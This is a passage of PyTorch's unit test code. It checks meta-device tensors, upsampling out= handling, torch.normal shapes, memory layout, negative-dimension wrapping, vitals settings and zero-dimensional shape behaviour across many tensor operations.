torch.empty(2 ** 20, device='meta') z = x + y self.assertEqual(z.size(), (2 ** 20, 2 ** 20)) self.assertRaises(RuntimeError, lambda: z[0][0].item()) @noarchTest def test_upsample_nearest1d_meta(self): # TODO: this test should be triggered by test_nn.py but right # now meta is not enabled (and even if it was, we are probably # missing too many meta functions to get through the test unmolested) # NB: Can't make the exponent too big, or it will overflow # signed 64-bit integer x = torch.empty(2 * 10 ** 8, 3, 2 * 10 ** 8, device='meta') z = torch.nn.functional.interpolate(x, scale_factor=2) self.assertEqual(z.size(), (2 * 10 ** 8, 3, 4 * 10 ** 8)) self.assertRaises(RuntimeError, lambda: z[0][0][0].item()) # TODO: the out tests cannot be triggered by test_nn.py because # we don't actually do out= arguments for nn functions, so there # is no public API by which to get the out version # interpolate doesn't seem to support out= # (not sure why passing None here doesn't work? How strange...) z = torch.empty(0, device='meta') torch._C._nn.upsample_nearest1d(x, (4 * 10 ** 8,), 2, out=z) self.assertEqual(z.size(), (2 * 10 ** 8, 3, 4 * 10 ** 8)) self.assertRaises(RuntimeError, lambda: z[0][0][0].item()) @noarchTest def test_upsample_nearest2d_meta(self): # TODO: the out tests cannot be triggered by test_nn.py because # we don't actually do out= arguments for nn functions, so there # is no public API by which to get the out version # Make sure we don't clobber strides of out tensor. NB: this # test must be done on 2d/3d, because 1d doesn't have any meaningful # layout support x = torch.empty(4, 3, 8, 8, device='meta') out = torch.empty(4, 3, 16, 16, device='meta', memory_format=torch.channels_last) torch._C._nn.upsample_nearest2d(x, (16, 16), out=out) self.assertTrue(out.is_contiguous(memory_format=torch.channels_last)) x = torch.empty(4, 3, 8, 8, device='meta', memory_format=torch.channels_last) out = torch.empty(4, 3, 16, 16, device='meta') torch._C._nn.upsample_nearest2d(x, (16, 16), out=out) self.assertTrue(out.is_contiguous()) # But if resize occurs, do clobber x = torch.empty(4, 3, 8, 8, device='meta', memory_format=torch.channels_last) out = torch.empty(0, device='meta') torch._C._nn.upsample_nearest2d(x, (16, 16), out=out) self.assertTrue(out.is_contiguous(memory_format=torch.channels_last)) # Complain if out dtype mismatch x = torch.empty(4, 3, 8, 8, device='meta', dtype=torch.float) out = torch.empty(4, 3, 16, 16, device='meta', dtype=torch.double) self.assertExpectedRaisesInline( RuntimeError, lambda: torch._C._nn.upsample_nearest2d(x, (16, 16), out=out), """Expected out tensor to have dtype float, but got double instead""" ) # Complain if out device mismatch x = torch.empty(0, 3, 8, 8, device='meta') out = torch.empty(0, 3, 16, 16, device='cpu') self.assertExpectedRaisesInline( RuntimeError, lambda: torch._C._nn.upsample_nearest2d(x, (16, 16), out=out), """Expected out tensor to have device meta, but got cpu instead""" ) @noarchTest def test_detach_meta(self): x = torch.empty(2, device='meta') # This used to segfault self.assertRaises(RuntimeError, lambda: x.detach().storage()) @noarchTest def test_add_meta_scalar(self): # From https://github.com/pytorch/pytorch/issues/53815 x = torch.empty(2, device='meta') y = x + 2 self.assertEqual(y.size(), x.size()) def test_normal_shape(self): warned = False for device in torch.testing.get_all_device_types(): tensor1 = torch.rand(1, device=device) tensor4 = torch.rand(4, device=device) tensor120 = torch.rand(120, device=device) tensor2145 = torch.rand(2, 1, 4, 5, device=device) tensor2345 = torch.rand(2, 3, 4, 5, device=device) tensor2345_non_contiguous = torch.rand(2, 4, 3, 5, device=device).permute(0, 2, 1, 3) tensor2345_channels_last = tensor2345.contiguous(memory_format=torch.channels_last) output2345 = torch.zeros(2, 3, 4, 5, device=device) output345 = torch.zeros(3, 4, 5, device=device) # inputs have same size self.assertEqual(torch.normal(tensor2345, tensor2345).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2345_non_contiguous, tensor2345).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2345, tensor2345_channels_last).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2345_non_contiguous, tensor2345_channels_last).size(), (2, 3, 4, 5)) # scalar case self.assertEqual(torch.normal(tensor2345, 2).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(2, tensor2345).size(), (2, 3, 4, 5)) # inputs are expandable tensors self.assertEqual(torch.normal(tensor2345, tensor1).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2145, tensor2345).size(), (2, 3, 4, 5)) # inputs are non-expandable tensors, but they have same number of elements # TORCH_WARN_ONCE is used in torch.normal, only 1st assertEqual will show warn msg if not warned: self.assertWarnsRegex(UserWarning, "deprecated and the support will be removed", lambda: self.assertEqual(torch.normal(tensor120, tensor2345).size(), (120,))) warned = True else: self.assertEqual(torch.normal(tensor120, tensor2345).size(), (120,)) self.assertEqual(torch.normal(tensor2345, tensor120).size(), (2, 3, 4, 5)) # inputs are non-expandable tensors and they don't have same number of elements with self.assertRaisesRegex(RuntimeError, "inconsistent tensor"): torch.normal(tensor2345, tensor4) # output and inputs are size compatible self.assertEqual(torch.normal(tensor2345, tensor2345, out=output2345).size(), (2, 3, 4, 5)) # output and inputs are not size compatible with self.assertRaisesRegex(RuntimeError, "inconsistent tensor"): # inputs are expandable but have different broadcasted size than output torch.normal(tensor2345, tensor2145, out=output345) with self.assertRaisesRegex(RuntimeError, "inconsistent tensor"): # inputs are not expandable but reshapeable, output size is not the same as mean torch.normal(tensor2345, tensor120, out=output345) def test_tensoriterator_output_setup(self): # Test whether the output's memory layout is correct def test_memory_layout(x, y, scale, zero_point, out): self.assertEqual(x.dim(), 4) self.assertEqual(x.size(), y.size()) self.assertEqual(y.size(), out.size()) shape = x.size() for n in range(shape[0]): for c in range(shape[1]): for h in range(shape[2]): for w in range(shape[3]): if scale is not None and zero_point is not None: self.assertEqual( out[n][c][h][w], torch.ops.quantized.add(x[n][c][h][w], y[n][c][h][w], scale, zero_point)) else: self.assertEqual(out[n][c][h][w], x[n][c][h][w] + y[n][c][h][w]) xraw = torch.rand(2, 3, 4, 4) yraw = torch.rand(2, 3, 4, 4) qxraw = torch.quantize_per_tensor(xraw, 0.1, 5, torch.quint8) qyraw = torch.quantize_per_tensor(yraw, 0.1, 5, torch.quint8) # contiguous case fast setup test_memory_layout(xraw, yraw, None, None, xraw + yraw) test_memory_layout(qxraw, qyraw, 0.1, 5, torch.ops.quantized.add(qxraw, qyraw, 0.1, 5)) # channels last case fast setup x = xraw.contiguous(memory_format=torch.channels_last) y = yraw.contiguous(memory_format=torch.channels_last) test_memory_layout(x, y, None, None, x + y) qx = qxraw.contiguous(memory_format=torch.channels_last) qy = qyraw.contiguous(memory_format=torch.channels_last) test_memory_layout(qx, qy, 0.1, 5, torch.ops.quantized.add(qx, qy, 0.1, 5)) # non contiguous case fast setup (dense, non-overlapping, same shape and strides) x = xraw.permute(0, 2, 3, 1) y = yraw.permute(0, 2, 3, 1) test_memory_layout(x, y, None, None, x + y) qx = qxraw.permute(0, 2, 3, 1) qy = qyraw.permute(0, 2, 3, 1) test_memory_layout(qx, qy, 0.1, 5, torch.ops.quantized.add(qx, qy, 0.1, 5)) # non contiguous case fast setup (dense, non-overlapping) # input tensors have same shape and strides # output tensor have same shape as input tensors but different stride # output tensor should preserve its strides in this case x = xraw.permute(0, 2, 3, 1) y = yraw.permute(0, 2, 3, 1) out = torch.empty_like(xraw) out = out.permute(0, 3, 2, 1) expected_stride = out.stride() test_memory_layout(x, y, None, None, torch.add(x, y, out=out)) self.assertEqual(expected_stride, out.stride()) # non contiguous case non fast setup x = xraw.permute(0, 2, 3, 1) y = yraw.permute(0, 3, 2, 1) test_memory_layout(x, y, None, None, x + y) qx = qxraw.permute(0, 2, 3, 1) qy = qyraw.permute(0, 3, 2, 1) test_memory_layout(qx, qy, 0.1, 5, torch.ops.quantized.add(qx, qy, 0.1, 5)) # Tests to make sure we still handle .data properly until it is removed def test_dot_data_use(self): # .data allows to change the Tensors types inplace, check that we still # raise a nice error. with self.assertRaisesRegex( RuntimeError, # message includes both Double and Long '(?=.*Double)(?=.*Long)'): # Calls model with a LongTensor input but DoubleTensor weights input = torch.randn(1, 1, 1, 6, dtype=torch.double) weight = torch.zeros(1, 1, 1, 3, dtype=torch.long) model = torch.nn.Conv2d(1, 1, (1, 3), stride=1, padding=0, bias=False) model.weight.data = weight out = model(input) # Functions to test negative dimension wrapping METHOD = 1 INPLACE_METHOD = 2 FUNCTIONAL = 4 DIM_ARG = None def make_neg_dim_test(name, tensor_arg, arg_constr, types, extra_dim=0): def neg_dim_test(self): if isinstance(tensor_arg, list): assert METHOD not in types and INPLACE_METHOD not in types x = [torch.randn(arg) for arg in tensor_arg] ndim = len(tensor_arg[-1]) else: x = torch.randn(*tensor_arg) ndim = len(tensor_arg) ndim += extra_dim n_dim_to_test = sum(e is DIM_ARG for e in arg_constr()) for dims_val in combinations(range(ndim), n_dim_to_test): arg = arg_constr() arg_neg = copy.deepcopy(arg) idx = 0 for i, v in enumerate(arg): if v is DIM_ARG: arg[i] = dims_val[idx] arg_neg[i] = dims_val[idx] - ndim idx += 1 if METHOD in types: a = getattr(x, name)(*arg) b = getattr(x, name)(*arg_neg) self.assertEqual(a, b) if INPLACE_METHOD in types: a = x.clone() getattr(a, name + '_')(*arg) b = x.clone() getattr(b, name + '_')(*arg_neg) self.assertEqual(a, b) if FUNCTIONAL in types: a = getattr(torch, name)(x, *arg) b = getattr(torch, name)(x, *arg_neg) self.assertEqual(a, b) return neg_dim_test def idx_tensor(size, max_val): return torch.LongTensor(*size).random_(0, max_val - 1) def add_neg_dim_tests(): neg_dim_tests = [ ('narrow', (10, 20, 30), lambda: [DIM_ARG, 0, 5], [METHOD]), ('transpose', (10, 20, 30), lambda: [DIM_ARG, DIM_ARG], [METHOD, INPLACE_METHOD, FUNCTIONAL]), ('size', (10, 20, 30), lambda: [DIM_ARG], [METHOD]), ('cat', [(2, 3, 4), (2, 3, 4)], lambda: [DIM_ARG], [FUNCTIONAL]), ('chunk', (10, 20, 30), lambda: [5, DIM_ARG], [METHOD, FUNCTIONAL]), ('gather', (10, 20), lambda: [DIM_ARG, idx_tensor((10, 20), 10)], [METHOD, FUNCTIONAL]), ('index_select', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10)], [METHOD, FUNCTIONAL]), ('split', (10, 20), lambda: [5, DIM_ARG], [METHOD, FUNCTIONAL]), ('squeeze', (10, 1, 20, 1), lambda: [DIM_ARG], [METHOD, INPLACE_METHOD, FUNCTIONAL]), ('unbind', (2, 3, 4), lambda: [DIM_ARG], [FUNCTIONAL]), ('unsqueeze', (10, 20), lambda: [DIM_ARG], [METHOD, INPLACE_METHOD, FUNCTIONAL], 1), ('logcumsumexp', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cumprod', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cumsum', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cummax', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cummin', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('mean', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('median', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('nanmedian', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('mode', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('norm', (10, 20), lambda: [2, DIM_ARG], [METHOD, FUNCTIONAL]), ('prod', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('std', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('sum', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('var', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('kthvalue', (10, 20), lambda: [3, DIM_ARG], [METHOD, FUNCTIONAL]), ('max', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('min', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('sort', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('topk', (10, 20), lambda: [5, DIM_ARG], [METHOD, FUNCTIONAL]), ('renorm', (10, 20), lambda: [2, DIM_ARG, 1], [METHOD, INPLACE_METHOD, FUNCTIONAL]), ('index_add', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10), torch.randn(10, 10)], [INPLACE_METHOD]), ('index_copy', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10), torch.randn(10, 10)], [INPLACE_METHOD]), ('index_fill', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10), 12], [INPLACE_METHOD]), ('scatter', (10, 10), lambda: [DIM_ARG, idx_tensor((10, 10), 10), torch.randn(10, 10)], [INPLACE_METHOD]), ('select', (10, 20), lambda: [DIM_ARG, 3], [METHOD]), ('unfold', (10, 20), lambda: [DIM_ARG, 5, 2], [METHOD]), ] for decl in neg_dim_tests: if len(decl) == 4: name, tensor_arg, arg_constr, types = decl extra_dim = 0 elif len(decl) == 5: name, tensor_arg, arg_constr, types, extra_dim = decl test_name = 'test_' + name + '_neg_dim' assert not hasattr(AbstractTestCases._TestTorchMixin, test_name), "Duplicated test name: " + test_name setattr(AbstractTestCases._TestTorchMixin, test_name, make_neg_dim_test(name, tensor_arg, arg_constr, types, extra_dim)) @contextlib.contextmanager def torch_vital_set(value): stash = None if 'TORCH_VITAL' in os.environ: stash = os.environ['TORCH_VITAL'] os.environ['TORCH_VITAL'] = value try: yield finally: if stash: os.environ['TORCH_VITAL'] = stash else: del os.environ['TORCH_VITAL'] # Tests Vital Signs for Torch class TestBasicVitalSigns(TestCase): def test_basic_vitals(self): with torch_vital_set(''): self.assertFalse(torch.vitals_enabled()) with torch_vital_set('ON'): self.assertTrue(torch.vitals_enabled()) def test_basic_vitals_read_write(self): with torch_vital_set('ON'): self.assertTrue(torch.vitals_enabled()) # This tests the code path of setting a vital self.assertTrue(torch.set_vital('Dataloader', 'basic_unit_test', 'TEST_VALUE_STRING')) self.assertIn('TEST_VALUE_STRING', torch.read_vitals()) self.assertIn('CUDA.used', torch.read_vitals()) def test_dataloader_vitals(self): with torch_vital_set('ON'): inps = torch.arange(10 * 5, dtype=torch.float32).view(10, 5) tgts = torch.arange(10 * 5, dtype=torch.float32).view(10, 5) dataset = torch.utils.data.TensorDataset(inps, tgts) loader = torch.utils.data.DataLoader(dataset, batch_size=2) self.assertIn('Dataloader.enabled\t\t True', torch.read_vitals()) class TestVitalSignsCuda(TestCase): @onlyCUDA def test_cuda_vitals_gpu_only(self, device): with torch_vital_set('ON'): self.assertIn('CUDA.used\t\t true', torch.read_vitals()) # Device-generic tests. Instantiated below and not run directly. class TestTorchDeviceType(TestCase): exact_dtype = True # TODO: move all tensor creation to common ops def _rand_shape(self, dim, min_size, max_size): shape = [] for i in range(dim): shape.append(random.randint(min_size, max_size)) return tuple(shape) # Validates that mathematical constants are defined properly, as required by # the Python Array API (https://data-apis.org/array-api/latest/API_specification/constants.html) @onlyCPU def test_constants(self, device): self.assertIsInstance(torch.e, float) self.assertEqual(torch.e, math.e, atol=0, rtol=0) self.assertIsInstance(torch.pi, float) self.assertEqual(torch.pi, math.pi, atol=0, rtol=0) self.assertIsInstance(torch.nan, float) self.assertEqual(torch.nan, math.nan, equal_nan=True) self.assertIsInstance(torch.inf, float) self.assertEqual(torch.inf, math.inf) @dtypes(torch.float32, torch.complex64) def test_storage(self, device, dtype): v = torch.randn(3, 5, dtype=dtype, device=device) self.assertEqual(v.storage()[0], v[0][0]) self.assertEqual(v.storage()[14], v[2][4]) @dtypes(torch.float32, torch.complex64) def test_deepcopy(self, device, dtype): from copy import deepcopy a = torch.randn(5, 5, dtype=dtype, device=device) b = torch.randn(5, 5, dtype=dtype, device=device) c = a.view(25) q = [a, [a.storage(), b.storage()], b, c] w = deepcopy(q) self.assertEqual(w[0], q[0], atol=0, rtol=0) self.assertEqual(w[1][0], q[1][0], atol=0, rtol=0) self.assertEqual(w[1][1], q[1][1], atol=0, rtol=0) self.assertEqual(w[1], q[1], atol=0, rtol=0) self.assertEqual(w[2], q[2], atol=0, rtol=0) # Check that deepcopy preserves sharing w[0].add_(1) for i in range(a.numel()): self.assertEqual(w[1][0][i], q[1][0][i] + 1) self.assertEqual(w[3], c + 1) w[2].sub_(1) for i in range(a.numel()): self.assertEqual(w[1][1][i], q[1][1][i] - 1) @dtypes(torch.float32, torch.complex64) def test_deepcopy_scalar(self, device, dtype): from copy import deepcopy a = torch.tensor(5, dtype=dtype, device=device) self.assertEqual(a.size(), deepcopy(a).size()) self.assertEqual(a, deepcopy(a)) def check_internal_mem_overlap(self, inplace_op, num_inputs, dtype, device, expected_failure=False): if isinstance(inplace_op, str): inplace_op = getattr(torch.Tensor, inplace_op) input = torch.randn(1, dtype=dtype, device=device).expand(3, 3) inputs = [input] + [torch.randn_like(input) for i in range(num_inputs - 1)] if not expected_failure: with self.assertRaisesRegex(RuntimeError, 'single memory location'): inplace_op(*inputs) else: with self.assertRaises(AssertionError): with self.assertRaisesRegex(RuntimeError, 'single memory location'): inplace_op(*inputs) def unary_check_input_output_mem_overlap(self, data, sz, op, expected_failure=False): def _test(op, output, input): output_exp = torch.empty_like(output) op(input, out=output_exp) self.assertEqual(op(input, out=output), output_exp, msg=op.__name__) # output is identical to input: _test(op, output=data[0:sz], input=data[0:sz]) # output and input are independent: _test(op, output=data[0:sz], input=data[sz:2 * sz]) # output partially overlaps with input: if not expected_failure: with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, data[0:sz], data[1:sz + 1]) else: with self.assertRaises(AssertionError): with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, data[0:sz], data[1:sz + 1]) # output is transpose of input: length = int(math.sqrt(sz)) input = data[:length**2].view([length, length]) out = input.t() if not expected_failure: with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, out, input) else: with self.assertRaises(AssertionError): with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, out, input) def ternary_check_input_output_mem_overlap(self, op, device, expected_failure=False): sz = 9 data = torch.randn(2 * sz, device=device) other1 = torch.randn(sz, device=device) other2 = torch.randn(sz, device=device) self.unary_check_input_output_mem_overlap( data, sz, lambda input, out: op(input, other1.view(input.shape), other2.view(input.shape), out=out), expected_failure=expected_failure) self.unary_check_input_output_mem_overlap( data, sz, lambda input, out: op(other1.view(input.shape), input, other2.view(input.shape), out=out), expected_failure=expected_failure) self.unary_check_input_output_mem_overlap( data, sz, lambda input, out: op(other1.view(input.shape), other2.view(input.shape), input, out=out), expected_failure=expected_failure) def _select_broadcastable_dims(self, dims_full=None): # select full dimensionality if dims_full is None: dims_full = [] ndims = random.randint(1, 4) dims_full = [random.randint(1, 8) for _ in range(ndims)] else: ndims = len(dims_full) # select actual dimensions for ops: # larger: full ndims, individual sizes may be reduced # smaller: possibly reduced ndims, sizes may be reduced smaller_ndims = random.randint(1, ndims) dims_small = [] dims_large = [] for i in range(ndims - 1, -1, -1): j = random.randint(1, 3) if j == 1: # no reduced singleton dimension ds = dims_full[i] dl = dims_full[i] elif j == 2: # larger may have reduced singleton dimension ds = dims_full[i] dl = 1 if len(dims_small) < smaller_ndims else dims_full[i] elif j == 3: # smaller may have reduced singleton dimension ds = 1 dl = dims_full[i] dims_large = [dl] + dims_large if len(dims_small) < smaller_ndims: dims_small = [ds] + dims_small return (dims_small, dims_large, dims_full) # collected tests of ops that used scalar_check in Declarations.cwrap for # correctness def test_scalar_check(self, device): zero_d = torch.randn((), device=device) one_d = torch.randn((1,), device=device) # remainder self.assertEqual((), torch.remainder(zero_d, zero_d).shape) self.assertEqual((), torch.remainder(zero_d, 2).shape) self.assertEqual((1,), torch.remainder(zero_d, one_d).shape) self.assertEqual((1,), torch.remainder(one_d, zero_d).shape) # fmod self.assertEqual((), torch.fmod(zero_d, zero_d).shape) self.assertEqual((), torch.fmod(zero_d, 2).shape) self.assertEqual((1,), torch.fmod(zero_d, one_d).shape) self.assertEqual((1,), torch.fmod(one_d, zero_d).shape) # exp, cos, cosh, tan, atan, tanh, erf, erfc, reciprocal self.assertEqual((), torch.exp(zero_d).shape) self.assertEqual((), torch.cos(zero_d).shape) self.assertEqual((), torch.cosh(zero_d).shape) self.assertEqual((), torch.tan(zero_d).shape) self.assertEqual((), torch.atan(zero_d).shape) self.assertEqual((), torch.acosh(zero_d).shape) self.assertEqual((), torch.asinh(zero_d).shape) self.assertEqual((), torch.atanh(zero_d).shape) self.assertEqual((), torch.tanh(zero_d).shape) self.assertEqual((), torch.erf(zero_d).shape) self.assertEqual((), torch.erfc(zero_d).shape) self.assertEqual((), torch.reciprocal(zero_d).shape) self.assertEqual((1,), torch.exp(one_d).shape) self.assertEqual((1,), torch.cos(one_d).shape) self.assertEqual((1,), torch.cosh(one_d).shape) self.assertEqual((1,), torch.tan(one_d).shape) self.assertEqual((1,), torch.atan(one_d).shape) self.assertEqual((1,), torch.acosh(one_d).shape) self.assertEqual((1,), torch.asinh(one_d).shape) self.assertEqual((1,), torch.atanh(one_d).shape) self.assertEqual((1,), torch.tanh(one_d).shape) self.assertEqual((1,), torch.erf(one_d).shape) self.assertEqual((1,), torch.erfc(one_d).shape) self.assertEqual((1,), torch.reciprocal(one_d).shape) # clamp self.assertEqual((), torch.clamp(zero_d, min=0, max=1).shape) self.assertEqual((), torch.clamp(zero_d, min=0).shape) self.assertEqual((), torch.clamp(zero_d, max=1).shape) self.assertEqual((1,), torch.clamp(one_d, min=0, max=1).shape) self.assertEqual((1,), torch.clamp(one_d, min=0).shape) self.assertEqual((1,), torch.clamp(one_d, max=1).shape) # cumsum, cumprod, cummax, cummin self.assertEqual((), torch.logcumsumexp(zero_d, 0).shape) self.assertEqual((), torch.cumsum(zero_d, 0).shape) self.assertEqual((), torch.cumprod(zero_d, 0).shape) self.assertEqual((), torch.cummax(zero_d, 0)[0].shape) self.assertEqual((), torch.cummin(zero_d, 0)[0].shape) # renorm self.assertRaises(RuntimeError, lambda: torch.renorm(zero_d, 0.5, 0, 1.0)) # sort, topk self.assertEqual([(), ()], [x.shape for x in torch.sort(zero_d, 0, False)]) self.assertEqual([(), ()], [x.shape for x in torch.sort(zero_d, 0, True)]) self.assertEqual([(), ()], [x.shape for x in torch.topk(zero_d, 1, 0, False)]) self.assertEqual([(), ()], [x.shape for x in torch.topk(zero_d, 1, 0, True)]) # lstsq (gels) self.assertRaises(RuntimeError, lambda: torch.lstsq(zero_d, zero_d)) # eig self.assertRaises(RuntimeError, lambda: torch.eig(zero_d, False)) self.assertRaises(RuntimeError, lambda: torch.eig(zero_d, True)) # this is only implemented on cpu if (torch.device(device).type == 'cpu'): self.assertRaises(RuntimeError, lambda: torch.ormqr(zero_d, zero_d, zero_d)) # max, min self.assertEqual((), torch.max(zero_d, zero_d).shape) self.assertEqual((1,), torch.max(one_d, zero_d).shape) self.assertEqual((1,), torch.max(zero_d, one_d).shape) self.assertEqual((), torch.min(zero_d, zero_d).shape) self.assertEqual((1,), torch.min(one_d, zero_d).shape) self.assertEqual((1,), torch.min(zero_d, one_d).shape) # diag self.assertRaises(RuntimeError, lambda: torch.diag(zero_d)) zero_d_int = torch.tensor(1, device=device) one_d_int = torch.tensor([1], device=device) # lshift, rshift self.assertEqual((), (zero_d_int >> zero_d_int).shape) self.assertEqual((), (zero_d_int >> 1).shape) self.assertEqual((1,), (one_d_int >> zero_d_int).shape) self.assertEqual((1,), (zero_d_int >> one_d_int).shape) self.assertEqual((1,), (one_d_int >> 1).shape) self.assertEqual((), (zero_d_int << zero_d_int).shape) self.assertEqual((), (zero_d_int << 1).shape) self.assertEqual((1,), (one_d_int << zero_d_int).shape) self.assertEqual((1,), (zero_d_int << one_d_int).shape) self.assertEqual((1,), (one_d_int << 1).shape) # or self.assertEqual((), (zero_d_int | zero_d_int).shape) self.assertEqual((), (zero_d_int | 1).shape) self.assertEqual((1,), (one_d_int | zero_d_int).shape) self.assertEqual((1,), (zero_d_int | one_d_int).shape) self.assertEqual((1,), (one_d_int | 1).shape) # and self.assertEqual((), (zero_d_int & zero_d_int).shape) self.assertEqual((), (zero_d_int & 1).shape) self.assertEqual((1,), (one_d_int & zero_d_int).shape) self.assertEqual((1,), (zero_d_int & one_d_int).shape) self.assertEqual((1,), (one_d_int & 1).shape) # clone self.assertEqual((), zero_d.clone().shape) zero_d_bool = torch.tensor(True, device=device) one_d_bool = torch.tensor([True], device=device) # masked_select self.assertEqual((1,), torch.masked_select(zero_d_bool, zero_d_bool).shape) self.assertEqual((1,), torch.masked_select(zero_d_bool, one_d_bool).shape) self.assertEqual((1,), torch.masked_select(one_d_bool, zero_d_bool).shape) zero_d_uint8 = torch.tensor(1, dtype=torch.uint8, device=device) one_d_uint8 = torch.tensor([1], dtype=torch.uint8, device=device) with warnings.catch_warnings(): warnings.simplefilter("ignore") self.assertEqual((1,), torch.masked_select(zero_d_uint8, zero_d_uint8).shape) self.assertEqual((1,), torch.masked_select(zero_d_uint8, one_d_uint8).shape) self.assertEqual((1,), torch.masked_select(one_d_uint8, zero_d_uint8).shape) # mode self.assertEqual([(), ()], [x.shape for x in torch.mode(zero_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.mode(zero_d, dim=0, keepdim=False)]) self.assertEqual([(1,), (1,)], [x.shape for x in torch.mode(one_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.mode(one_d, dim=0, keepdim=False)]) # max self.assertEqual([(), ()], [x.shape for x in torch.max(zero_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.max(zero_d, dim=0, keepdim=False)]) self.assertEqual([(1,), (1,)], [x.shape for x in torch.max(one_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.max(one_d, dim=0, keepdim=False)]) # amax self.assertEqual((), torch.amax(zero_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amax(zero_d, dim=0, keepdim=False).shape) self.assertEqual((1,), torch.amax(one_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amax(one_d, dim=0, keepdim=False).shape) # min self.assertEqual([(), ()], [x.shape for x in torch.min(zero_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.min(zero_d, dim=0, keepdim=False)]) self.assertEqual([(1,), (1,)], [x.shape for x in torch.min(one_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.min(one_d, dim=0, keepdim=False)]) # amin self.assertEqual((), torch.amin(zero_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amin(zero_d, dim=0, keepdim=False).shape) self.assertEqual((1,), torch.amin(one_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amin(one_d, dim=0, keepdim=False).shape) # set_ zero_d_clone = zero_d.clone() one_d_clone = one_d.clone() self.assertEqual((), zero_d_clone.set_(one_d.storage(), 0, (), ()).shape) self.assertEqual((1,), zero_d_clone.set_(one_d.storage(), 0, (1,), (1,)).shape) self.assertEqual((), one_d_clone.set_(one_d.storage(), 0, (), ()).shape) self.assertEqual((1,), one_d_clone.set_(one_d.storage(), 0, (1,), (1,)).shape) self.assertEqual((), zero_d.clone().set_(zero_d).shape) self.assertEqual((), one_d.clone().set_(zero_d).shape) self.assertEqual((1,), zero_d.clone().set_(one_d).shape) self.assertEqual((1,), one_d.clone().set_(one_d).shape) # take self.assertEqual((), torch.randn((2, 3), device=device).take(zero_d_int).shape) self.assertEqual((1,), torch.randn((2, 3), device=device).take(one_d_int).shape) # gather self.assertEqual((), torch.gather(zero_d, 0, torch.zeros((), dtype=torch.int64, device=device)).shape) self.assertEqual((1,), torch.gather(zero_d, 0, torch.zeros((1,), dtype=torch.int64, device=device)).shape) self.assertEqual((), torch.gather(one_d, 0, torch.zeros((), dtype=torch.int64, device=device)).shape) self.assertEqual((1,), torch.gather(one_d, 0, torch.zeros((1,), dtype=torch.int64, device=device)).shape) # normal # std must be >= 0 zero_d_ge_0 = torch.rand((), device=device) # documentation says out shape matches shape of mean self.assertEqual((), torch.normal(zero_d, zero_d_ge_0).shape) self.assertEqual((1,), torch.normal(one_d, zero_d_ge_0).shape) self.assertEqual((), torch.normal(1, zero_d_ge_0).shape) self.assertEqual((), torch.normal(zero_d, 1).shape) self.assertEqual((1,), torch.normal(one_d, 1).shape) # TODO: this behavior differs on CPU and GPU, see https://github.com/pytorch/pytorch/issues/30480. # self.assertEqual((), torch.normal(zero_d, one_d).shape) # self.assertEqual((), torch.normal(1, one_d).shape) # convolutions. Yes, we are testing nn.functional here; seems justified # given its similar to the other tests w = torch.randn(2, 1, 3, 3, device=device).div_(2).requires_grad_() self.assertRaises(RuntimeError, lambda: torch.nn.functional.conv2d(zero_d, w, groups=1)) self.assertRaises(RuntimeError, lambda: torch.nn.functional.conv2d(zero_d, w, groups=2)) # nll_loss -- verify input can't be 0-dimensional. self.assertRaises(ValueError, lambda: torch.nn.functional.nll_loss(zero_d, zero_d, reduction='none')) self.assertRaises(ValueError, lambda: torch.nn.functional.nll_loss(zero_d, one_d, reduction='none')) # verify output is 0-dimensional when reduction != 'none' for (input, target) in ((torch.randn(1, 1, device=device), torch.tensor([0], device=device)), (torch.randn(1, 1, 1, 1, device=device), torch.tensor([[[0]]], device=device))): self.assertEqual((), torch.nn.functional.nll_loss(input, target, reduction='mean').shape) self.assertEqual((), torch.nn.functional.nll_loss(input, target, reduction='sum').shape) # multilabel_margin_loss for input in (zero_d, one_d, torch.randn(1, 1, device=device)): for target in (torch.tensor(0, device=device), torch.tensor([0], device=device), torch.tensor([[0]], device=device)): if (input.dim() <= 1 and target.dim() <= 1) or (input.dim() == 2 and target.dim() == 2): output_shape = (target.shape[0],) if target.dim() == 2 else () self.assertEqual(output_shape, 